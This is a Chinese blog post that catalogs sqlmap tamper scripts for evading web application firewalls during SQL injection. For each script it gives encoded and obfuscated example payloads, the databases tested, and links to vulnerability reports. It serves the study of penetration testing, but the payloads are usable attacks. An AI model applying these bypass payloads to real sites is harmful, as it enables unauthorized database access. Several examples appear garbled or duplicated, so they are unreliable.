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使用sqlmap中tamper脚本绕过waf

2016年03月29日 11:57 汪洋大海 暂无评论 阅读 705 views 次

0x00 背景

sqlmap中的tamper脚本来对目标进行更高效的攻击。--tamper=space2comment

由于乌云知识库少了sqlmap-tamper 收集一下,方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快。

0x01 start

脚本名:apostrophemask.py

作用:用utf8代替引号

Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

脚本名:equaltolike.py

作用:like 代替等号

Example:

*   Input: SELECT * FROM users WHERE id=1

*   Output: SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

脚本名:space2dash.py

作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

脚本名:greatest.py

作用:绕过过滤’>’ ,用GREATEST替换大于号。

Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名:space2hash.py

作用:空格替换为#号 随机字符串 以及换行符

Example:

*   Input: 1 AND 9227=9227
*   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:
  • MySQL 4.0, 5.0

参考: 法克的一篇文章

脚本名:apostrophenullencode.py

作用:绕过过滤双引号,替换字符和双引号。

Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

脚本名:halfversionedmorekeywords.py

作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

Example:

("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

脚本名:space2morehash.py

作用:空格替换为 #号 以及更多随机字符串 换行符

Example: 

* Input: 1 AND 9227=9227 

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一: 91ri一篇文章

脚本名:appendnullbyte.py

作用:在有效负荷结束位置加载零字节字符编码

Example: ('1 AND 1=1') '1 AND 1=1%00'

Requirement:

  • Microsoft Access

脚本名:ifnull2ifisnull.py

作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

Example:

('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL
  • SQLite (possibly)
  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

脚本名:space2mssqlblank.py(mssql)

作用:空格替换为其它空符号

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名:base64encode.py

作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名:space2mssqlhash.py

作用:替换空格

Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

脚本名:modsecurityversioned.py

作用:过滤空格,包含完整的查询版本注释

Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

脚本名:space2mysqlblank.py

作用:空格替换其它空白符号(mysql)

Example: 

* Input: SELECT id FROM users 

* Output: SELECT%0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名:between.py

作用:用between替换大于号(>)

Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名:space2mysqldash.py

作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

注:之前有个mssql的 这个是mysql的

Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL
  • MSSQL

脚本名:multiplespaces.py

作用:围绕SQL关键字添加多个空格

Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名:space2plus.py

作用:用+替换空格

Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all

脚本名:bluecoat.py

作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

脚本名:nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

脚本名:space2randomblank.py

作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集

Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

脚本名:sp_password.py

作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

脚本名:chardoubleencode.py

作用: 双url编码(不处理以编码的)

Example: 

* Input: SELECT FIELD FROM%20TABLE 

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名:unionalltounion.py

作用:替换UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

脚本名:charencode.py

作用:url编码

Example:

*   Input: SELECT FIELD FROM%20TABLE

*   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

脚本名:randomcase.py

作用:随机大小写 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

脚本名:unmagicquotes.py

作用:宽字符绕过 GPC addslashes

Example: 

* Input: 1′ AND 1=1 

* Output: 1%bf%27 AND 1=1%20

脚本名:randomcomments.py

作用:用/**/分割sql关键字

Example:

‘INSERT’ becomes ‘IN//S//ERT’

脚本名:charunicodeencode.py

作用:字符串 unicode 编码

Example: 

* Input: SELECT FIELD%20FROM TABLE 

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

Requirement:

  • ASP
  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000
  • Microsoft SQL Server 2005
  • MySQL 5.1.56
  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名:securesphere.py

作用:追加特制的字符串

Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"

Tested against: all

脚本名:versionedmorekeywords.py

作用:注释绕过

Example: 

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 

* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

脚本名:space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘/**/’

Example: 

* Input: SELECT id FROM users 

* Output: SELECT//id//FROM/**/users

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名:halfversionedmorekeywords.py

作用:关键字前加注释

Example: 

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa 

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22
  • 原文来源:http://drops.wooyun.org/tools/4760?utm_source=tuicool&utm_medium=referral
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